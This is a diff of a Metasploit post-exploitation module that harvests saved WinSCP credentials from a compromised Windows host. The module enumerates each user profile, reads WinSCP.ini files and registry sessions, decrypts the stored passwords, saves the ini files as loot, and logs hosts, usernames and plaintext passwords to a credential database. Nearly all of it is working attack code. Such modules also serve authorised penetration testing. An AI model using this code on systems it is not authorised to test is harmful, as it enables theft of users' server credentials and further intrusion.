1
- # post/windows/gather/enum_vnc_pw.rb
2
-
3
1
##
4
2
# This module requires Metasploit: http://metasploit.com/download
5
3
# Current source: https://github.com/rapid7/metasploit-framework
8
6
require 'msf/core'
9
7
require 'rex'
10
8
require 'rex/parser/ini'
9
+ require 'rex/parser/winscp'
11
10
require 'msf/core/auxiliary/report'
12
11
13
12
class Metasploit3 < Msf ::Post
14
13
include Msf ::Post ::Windows ::Registry
15
14
include Msf ::Auxiliary ::Report
16
15
include Msf ::Post ::Windows ::UserProfiles
17
16
include Msf ::Post ::File
17
+ include Rex ::Parser ::WinSCP
18
18
19
19
def initialize ( info = { } )
20
20
super ( update_info ( info ,
@@ -73,14 +73,21 @@ def get_reg
73
73
portnum = 22
74
74
end
75
75
76
- winscp_store_config (
77
- 'FSProtocol' => registry_getvaldata ( active_session , 'FSProtocol' ) || "" ,
78
- 'HostName' => registry_getvaldata ( active_session , 'HostName' ) || "" ,
79
- 'Password' => password ,
80
- 'PortNumber' => portnum ,
81
- 'UserName' => registry_getvaldata ( active_session , 'UserName' ) || "" ,
82
- )
83
-
76
+ encrypted_password = password
77
+ user = registry_getvaldata ( active_session , 'UserName' ) || ""
78
+ fsprotocol = registry_getvaldata ( active_session , 'FSProtocol' ) || ""
79
+ sname = parse_protocol ( fsprotocol )
80
+ host = registry_getvaldata ( active_session , 'HostName' ) || ""
81
+
82
+ plaintext = decrypt_password ( encrypted_password , "#{ user } #{ host } " )
83
+
84
+ winscp_store_config ( {
85
+ hostname : host ,
86
+ username : user ,
87
+ password : plaintext ,
88
+ portnumber : portnum ,
89
+ protocol : sname
90
+ } )
84
91
end
85
92
86
93
if savedpwds == 0
@@ -96,121 +103,62 @@ def get_reg
96
103
97
104
end
98
105
106
+ def run
107
+ print_status ( "Looking for WinSCP.ini file storage..." )
99
108
100
- def get_ini ( filename )
101
- print_error ( "Looking for #{ filename } ." )
102
- # opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
103
- parse = read_file ( filename )
104
- if parse . nil?
105
- print_error ( "WinSCP.ini file NOT found..." )
106
- return
109
+ # WinSCP is only x86...
110
+ if sysinfo [ 'Architecture' ] == 'x86'
111
+ prog_files_env = 'ProgramFiles'
112
+ else
113
+ prog_files_env = 'ProgramFiles(x86)'
107
114
end
115
+ env = get_envs ( 'APPDATA' , prog_files_env , 'USERNAME' )
108
116
109
- print_status ( "Found WinSCP.ini file..." )
110
- ini = Rex :: Parser :: Ini . from_s ( parse )
117
+ user_dir = " #{ env [ 'APPDATA' ] } \\ .. \\ .."
118
+ user_dir << " \\ .." if user_dir . include? ( 'Users' )
111
119
112
- # if a Master Password is in use we give up
113
- if ini [ 'Configuration\\Security' ] [ 'MasterPassword' ] == '1'
114
- print_status ( "Master Password Set, unable to recover saved passwords!" )
115
- return nil
120
+ users = dir ( user_dir )
121
+ users . each do |user |
122
+ next if user == "." || user == ".."
123
+ app_data = "#{ env [ 'APPDATA' ] . gsub ( env [ 'USERNAME' ] , user ) } \\ WinSCP.ini"
124
+ vprint_status ( "Looking for #{ app_data } ..." )
125
+ get_ini ( app_data ) if file? ( app_data )
116
126
end
117
127
118
- # Runs through each group in the ini file looking for all of the Sessions
119
- ini . each_key do |group |
120
- if group . include? ( 'Sessions' ) && ini [ group ] . has_key? ( 'Password' )
121
- winscp_store_config (
122
- 'FSProtocol' => ini [ group ] [ 'FSProtocol' ] ,
123
- 'HostName' => ini [ group ] [ 'HostName' ] ,
124
- 'Password' => ini [ group ] [ 'Password' ] ,
125
- 'PortNumber' => ini [ group ] [ 'PortNumber' ] || 22 ,
126
- 'UserName' => ini [ group ] [ 'UserName' ] ,
127
- )
128
+ program_files = "#{ env [ prog_files_env ] } \\ WinSCP\\ WinSCP.ini"
128
129
129
- end
130
- end
131
- end
132
-
133
- def decrypt_next_char
134
-
135
- pwalg_simple_magic = 0xA3
136
- pwalg_simple_string = "0123456789ABCDEF"
137
-
138
- # Decrypts the next character in the password sequence
139
- if @password . length > 0
140
- # Takes the first char from the encrypted password and finds its position in the
141
- # pre-defined string, then left shifts the returned index by 4 bits
142
- unpack1 = pwalg_simple_string . index ( @password [ 0 , 1 ] )
143
- unpack1 = unpack1 << 4
144
-
145
- # Takes the second char from the encrypted password and finds its position in the
146
- # pre-defined string
147
- unpack2 = pwalg_simple_string . index ( @password [ 1 , 1 ] )
148
- # Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
149
- result = ~( ( unpack1 +unpack2 ) ^ pwalg_simple_magic ) & 0xff
150
- # Strips the first two chars off and returns our result
151
- @password = @password [ 2 , @password . length ]
152
- return result
153
- end
130
+ get_ini ( program_files ) if file? ( program_files )
154
131
132
+ print_status ( "Looking for Registry storage..." )
133
+ get_reg
155
134
end
156
135
157
-
158
-
159
- def decrypt_password ( pwd , key )
160
- pwalg_simple_flag = 0xFF
161
- @password = pwd
162
- flag = decrypt_next_char ( )
163
-
164
- if flag == pwalg_simple_flag
165
- decrypt_next_char ( )
166
- length = decrypt_next_char ( )
167
- else
168
- length = flag
169
- end
170
- ldel = ( decrypt_next_char ( ) ) *2
171
- @password = @password [ ldel , @password . length ]
172
-
173
- result = ""
174
- length . times do
175
- result << decrypt_next_char ( ) . chr
136
+ def get_ini ( file_path )
137
+ print_good ( "WinSCP.ini located at #{ file_path } " )
138
+ file = read_file ( file_path )
139
+ stored_path = store_loot ( 'winscp.ini' , 'text/plain' , session , file , 'WinSCP.ini' , file_path )
140
+ print_status ( "WinSCP saved to loot: #{ stored_path } " )
141
+ parse_ini ( file ) . each do |res |
142
+ winscp_store_config ( res )
176
143
end
177
-
178
- if flag == pwalg_simple_flag
179
- result = result [ key . length , result . length ]
180
- end
181
-
182
- result
183
- end
184
-
185
- def run
186
- print_status ( "Looking for WinSCP.ini file storage..." )
187
- get_ini ( expand_path ( "%PROGRAMFILES%\\ WinSCP\\ WinSCP.ini" ) )
188
- print_status ( "Looking for Registry Storage..." )
189
- get_reg ( )
190
- print_status ( "Done!" )
191
144
end
192
145
193
146
def winscp_store_config ( config )
194
- host = config [ 'HostName' ]
195
- pass = config [ 'Password' ]
196
- portnum = config [ 'PortNumber' ]
197
- proto = config [ 'FSProtocol' ]
198
- user = config [ 'UserName' ]
199
-
200
- sname = case proto . to_i
201
- when 5 then "FTP"
202
- when 0 then "SSH"
203
- end
147
+ begin
148
+ res = client . net . resolve . resolve_host ( config [ :hostname ] , AF_INET )
149
+ ip = res [ :ip ] if res
150
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
151
+ print_error ( "Unable to store following credentials in database as we are unable to resolve the IP address: #{ e } " )
152
+ ensure
153
+ print_good ( "Host: #{ config [ :hostname ] } , IP: #{ ip } , Port: #{ config [ :portnumber ] } , Service: #{ config [ :protocol ] } , Username: #{ config [ :username ] } , Password: #{ config [ :password ] } " )
154
+ end
204
155
205
- # Decrypt our password, and report on results
206
- plaintext = decrypt_password ( pass , user +host )
207
- print_status ( "Host: #{ host } Port: #{ portnum } Protocol: #{ sname } Username: #{ user } Password: #{ plaintext } " )
156
+ return unless ip
208
157
209
158
service_data = {
210
- # XXX This resolution should happen on the victim side instead
211
- address : ::Rex ::Socket . getaddress ( host ) ,
212
- port : portnum ,
213
- service_name : sname ,
159
+ address : ip ,
160
+ port : config [ :portnumber ] ,
161
+ service_name : config [ :protocol ] ,
214
162
protocol : 'tcp' ,
215
163
workspace_id : myworkspace_id ,
216
164
}
@@ -220,8 +168,8 @@ def winscp_store_config(config)
220
168
session_id : session_db_id ,
221
169
post_reference_name : self . refname ,
222
170
private_type : :password ,
223
- private_data : plaintext ,
224
- username : user
171
+ private_data : config [ :password ] ,
172
+ username : config [ :username ]
225
173
} . merge ( service_data )
226
174
227
175
credential_core = create_credential ( credential_data )
0 commit comments